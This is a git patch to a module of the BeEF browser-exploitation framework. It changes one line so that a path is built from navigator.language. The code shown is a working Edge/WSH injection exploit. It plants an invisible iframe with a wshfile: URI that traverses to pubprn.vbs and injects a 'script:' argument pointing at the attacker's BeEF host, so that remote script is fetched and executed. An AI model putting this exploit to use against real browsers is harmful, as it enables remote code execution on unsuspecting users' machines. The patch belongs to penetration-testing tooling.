From 4396547cdde3b4ceb8c874d7367c25d6c069bf5d Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 31 Mar 2019 00:47:48 +0000 Subject: [PATCH] Use navigator.language --- .../social_engineering/edge_wscript_wsh_injection/command.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/social_engineering/edge_wscript_wsh_injection/command.js b/modules/social_engineering/edge_wscript_wsh_injection/command.js index 6d8c5e09b..9133747e6 100755 --- a/modules/social_engineering/edge_wscript_wsh_injection/command.js +++ b/modules/social_engineering/edge_wscript_wsh_injection/command.js @@ -16,7 +16,7 @@ beef.execute(function(){ try { var wsh_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); var beef_host = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port; - wsh_iframe_<%= @command_id %>.setAttribute('src', 'wshfile:test/../../../../../../../Windows/System32/Printing_Admin_Scripts/en-US/pubprn.vbs" 127.0.0.1 script:' + beef_host + '/<%= @command_id %>/index.html'); + wsh_iframe_<%= @command_id %>.setAttribute('src', 'wshfile:test/../../../../../../../Windows/System32/Printing_Admin_Scripts/' + navigator.language + '/pubprn.vbs" 127.0.0.1 script:' + beef_host + '/<%= @command_id %>/index.html'); } catch (e) { beef.debug("[Edge WScript WSH Injection] Could not create iframe"); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Could not create iframe', beef.are.status_error());